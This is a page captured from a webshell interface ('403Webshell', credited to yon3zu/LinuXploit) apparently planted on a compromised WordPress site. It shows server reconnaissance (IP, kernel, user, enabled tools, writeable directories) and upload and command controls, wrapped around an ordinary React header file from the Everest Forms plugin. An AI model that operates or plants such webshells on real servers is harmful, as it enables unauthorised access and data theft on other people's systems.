403Webshell
Server IP : 3.96.16.70  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux ip-172-31-26-103.ca-central-1.compute.internal 6.1.163-186.299.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Feb 24 16:35:42 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/arrivealive.org/wp-content/plugins/everest-forms/src/dashboard/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/arrivealive.org/wp-content/plugins/everest-forms/src/dashboard/header-standalone.js
import {
	Box,
	ChakraProvider,
	Container,
	HStack,
	Skeleton,
	SkeletonCircle,
	Stack,
	useToast,
} from '@chakra-ui/react';
import { QueryClient, QueryClientProvider, useQuery } from '@tanstack/react-query';
import apiFetch from '@wordpress/api-fetch';
import { __ } from '@wordpress/i18n';
import React from 'react';
import ReactDOM from 'react-dom/client';
import { BrowserRouter } from 'react-router-dom';
import { Header } from './components';
import Theme from './Theme/Theme';

const queryClient = new QueryClient();

function HeaderWithQuery() {
	const toast = useToast();

	/* global _EVF_DASHBOARD_ */
	const {
		evfRestApiNonce,
		restURL,
		allStepsCompleted,
	} =
		typeof _EVF_DASHBOARD_ !== 'undefined' && _EVF_DASHBOARD_;

	const siteAssistantQuery = useQuery({
		queryKey: ['siteAssistant'],
		queryFn: async () => {
			const response = await apiFetch({
				path: `${restURL}everest-forms/v1/site-assistant`,
				method: 'GET',
				headers: {
					'X-WP-Nonce': evfRestApiNonce,
				},
			});
			return response;
		},
		cacheTime: Infinity,
		staleTime: Infinity,
		retry: 1,
		onError: (error) => {
			console.error('Error fetching site assistant data:', error);
			toast({
				title: __('Error', 'everest-forms'),
				description: __('Failed to load setup status.', 'everest-forms'),
				status: 'error',
				duration: 3000,
				isClosable: true,
			});
		},
	});

	const isAllStepsCompleted = siteAssistantQuery?.isLoading
		? Boolean(allStepsCompleted === '1')
		: siteAssistantQuery?.data?.data?.all_steps_completed;

	// Show skeleton loading that matches the actual header UI
	if (siteAssistantQuery.isLoading) {
		return (
			<Box
				bg="white"
				borderBottom="1px solid #E9E9E9"
				width="100%"
				position="relative"
				zIndex="10"
			>
				<Container maxW="full">
					<Stack direction="row" minH="70px" justify="space-between">
						{/* Left Side - Logo and Navigation Skeleton */}
						<Stack direction="row" align="center" gap="7">
							{/* Logo Skeleton */}
							<SkeletonCircle size="10" />

							{/* Navigation Links Skeleton */}
							<HStack spacing="1" h="full">
								<Skeleton height="20px" width="100px" />
								<Skeleton height="20px" width="80px" />
								<Skeleton height="20px" width="90px" />
								<Skeleton height="20px" width="95px" />
							</HStack>
						</Stack>

						{/* Right Side - Actions Skeleton */}
						<Stack direction="row" align="center" spacing="12px">
							<HStack spacing="1" >
								<Skeleton height="20px" width="60px" />
								<Skeleton height="20px" width="90px" />
							</HStack>
							<Skeleton height="20px" width="100px" />
							<Skeleton height="24px" width="50px" borderRadius="xl" />
							<SkeletonCircle size="10" />
						</Stack>
					</Stack>
				</Container>
			</Box>
		);
	}

	return <Header hideSiteAssistant={isAllStepsCompleted} />;
}

(function () {
	const headerContainer = document.getElementById('evf-react-header-root');

	if (!headerContainer) return;

	const headerRoot = ReactDOM.createRoot(headerContainer);

	if (headerRoot) {
		headerRoot.render(
			<React.StrictMode>
				<QueryClientProvider client={queryClient}>
					<ChakraProvider theme={Theme}>
						<BrowserRouter>
							<HeaderWithQuery />
						</BrowserRouter>
					</ChakraProvider>
				</QueryClientProvider>
			</React.StrictMode>,
		);
	}
})();

Youez - 2016 - github.com/yon3zu
LinuXploit